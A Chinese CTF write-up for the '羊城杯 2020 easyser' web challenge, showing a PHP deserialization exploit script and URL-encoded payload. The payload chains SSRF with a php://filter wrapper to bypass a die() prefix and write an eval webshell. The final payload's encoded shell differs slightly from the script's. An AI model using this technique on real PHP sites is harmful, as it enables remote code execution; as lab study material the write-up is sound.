0%

[羊城杯 2020]easyser R4iny13lueB311的WriteUp

2024-01-12 09:19By
R4iny13lueB311
反序列化SSRFPHP伪协议webphp

Problem: [羊城杯 2020]easyser

BUU做过,扫目录robots.txt->star1.php,F12看到提示,?path=http://127.0.0.1/ser.php

<?php error_reporting(0); if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) { highlight_file(__FILE__); } $flag='{Trump_:"fake_news!"}'; class GWHT{ public $hero; public function __construct(){ $this->hero = new Yasuo; } public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } } } class Yongen{ //flag.php public $file; public $text; public function __construct($file='',$text='') { $this -> file = $file; $this -> text = $text; } public function hasaki(){ $d = '<?php die("nononon");?>'; $a= $d. $this->text; @file_put_contents($this-> file,$a); } } class Yasuo{ public function hasaki(){ return "I'm the best happy windy man"; } } ?>

链子很简单

GWHT::__toString()->Yongen::hasaki()->file_put_contents()

写入webshell,绕过死亡exit用的是phpfilterstring_strip_tagsbase64encode

exp:

<?php class GWHT{ public $hero; public function __toString(){ if (isset($this->hero)){ return $this->hero->hasaki(); }else{ return "You don't look very happy"; } } } class Yongen{ //flag.php public $file; public $text; public function __construct() { $this -> file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php'; $this-> text = base64_encode("<?php eval(\$_GET['cmd']);?>"); } public function hasaki(){ $d = '<?php die("nononon");?>'; $a= $d. $this->text; @file_put_contents($this-> file,$a); } } $a = new GWHT(); $b = new Yongen(); $a->hero = $b; echo urlencode(serialize($a)); #O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A36%3A%22PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8%2B%22%3B%7D%7D

BUU的时候是用arjun爆破了个可以传的参数,叫c,这边不知道为什么没爆出来

payload:

?path=http://127.0.0.1/star1.php&c=O%3A4%3A%22GWHT%22%3A1%3A%7Bs%3A4%3A%22hero%22%3BO%3A6%3A%22Yongen%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D

访问/shell.php执行命令

还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论